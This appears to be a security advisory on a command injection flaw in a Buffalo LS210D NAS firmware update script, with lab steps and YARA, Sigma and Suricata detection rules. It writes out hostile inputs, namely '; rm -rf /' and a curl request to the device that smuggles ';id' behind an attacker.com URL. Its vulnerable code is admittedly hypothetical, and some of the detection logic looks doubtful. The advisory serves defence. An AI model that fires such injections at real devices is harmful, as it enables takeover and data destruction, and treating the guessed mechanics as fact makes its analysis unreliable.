CVE-2023-51073

Executive Summary

CVE-2023-51073 is a critical remote code execution vulnerability affecting the Buffalo LS210D NAS device running firmware version 1.78-0.03. The flaw resides in the firmware update script located at /etc/init.d/update_notifications.sh, which can be triggered by an unauthenticated remote attacker to execute arbitrary commands on the device. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the attack vector and impact, it is assessed as critical (CVSS 9.8). No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a Buffalo NAS device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The attacker does not need to interact with any user.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full system compromise leads to data exposure.
• Integrity (I): High (H) – Arbitrary code execution allows modification of system files.
• Availability (A): High (H) – An attacker can disrupt device operation.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is located in the firmware update script /etc/init.d/update_notifications.sh. This script is likely invoked during the firmware update process or via a network-accessible interface. The script does not properly sanitize user-supplied input, allowing an attacker to inject arbitrary shell commands. The attack vector is remote, meaning an attacker can send a specially crafted request to the device (e.g., via HTTP, FTP, or other exposed services) to trigger the script with malicious parameters.

The script may be called with arguments that are passed directly to a shell command (e.g., eval, system, or backtick execution). For example, if the script accepts a firmware URL or filename, an attacker could inject commands like ; rm -rf / or $(malicious_command).

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

#!/bin/sh
# /etc/init.d/update_notifications.sh
URL=$1
wget $URL -O /tmp/firmware.bin
# No input validation

Patched Code (hypothetical):

#!/bin/sh
# /etc/init.d/update_notifications.sh
URL=$1
# Validate URL format
if echo "$URL" | grep -qE '^https?://[a-zA-Z0-9./?=_-]+$'; then
    wget "$URL" -O /tmp/firmware.bin
else
    echo "Invalid URL"
    exit 1
fi

The patched version validates the URL format before passing it to wget, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Buffalo LS210D device with firmware version 1.78-0.03.
2. Connect the device to an isolated network.
3. Identify the exposed service (e.g., HTTP on port 80, FTP on port 21).
4. Craft a payload to trigger the vulnerable script.

Exploitation Steps:

1. Scan the device for open ports: nmap -p- <target_ip>
2. Identify the web interface or FTP service.
3. Send a crafted request to the update endpoint:

   curl -X POST http://<target_ip>/cgi-bin/update.cgi \
     -d "url=http://attacker.com/firmware.bin;id"
   

4. If successful, the output of the id command will be executed.

Note: No public exploit code is available. The above is a hypothetical example.

Blue Team

Detection:

• Monitor for unusual outbound connections from the NAS device.
• Look for shell command injection patterns in HTTP POST parameters.
• Alert on execution of /etc/init.d/update_notifications.sh with unexpected arguments.

Hunting:

• Search logs for update_notifications.sh invocations.
• Check for processes spawned by the script (e.g., wget, curl, bash).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown IPs on port 80/443.
  • HTTP requests containing shell metacharacters (;, |, $()).
• File System:
  • Unexpected files in /tmp/ (e.g., firmware.bin).
  • Modified /etc/init.d/update_notifications.sh.
• Process:
  • wget or curl processes initiated by the update script.
  • Shell processes with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2023_51073_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2023-51073 in Buffalo LS210D"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51073"
    strings:
        $s1 = "/etc/init.d/update_notifications.sh" ascii wide nocase
        $s2 = "firmware.bin" ascii wide nocase
        $s3 = "wget" ascii wide nocase
        $s4 = "curl" ascii wide nocase
        $s5 = ";" ascii wide
        $s6 = "|" ascii wide
        $s7 = "$(" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4) and any of ($s5, $s6, $s7)
}

Sigma Rule

title: CVE-2023-51073 Buffalo LS210D RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts targeting the firmware update script on Buffalo LS210D
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bin/sh'
        CommandLine|contains: '/etc/init.d/update_notifications.sh'
    injection:
        CommandLine|contains:
            - ';'
            - '|'
            - '$('
    condition: selection and injection
falsepositives:
    - Legitimate firmware updates from trusted sources
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51073 Buffalo LS210D RCE Attempt"; flow:to_server,established; content:"/etc/init.d/update_notifications.sh"; http_uri; content:";"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote access to the device if not required. Restrict access to the web interface and FTP service to trusted IPs only.
• Workaround: Manually review and sanitize the /etc/init.d/update_notifications.sh script to prevent command injection.
• Long-term: Monitor the vendor's website for a firmware update. If no patch is released, consider replacing the device with a supported alternative.
• Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT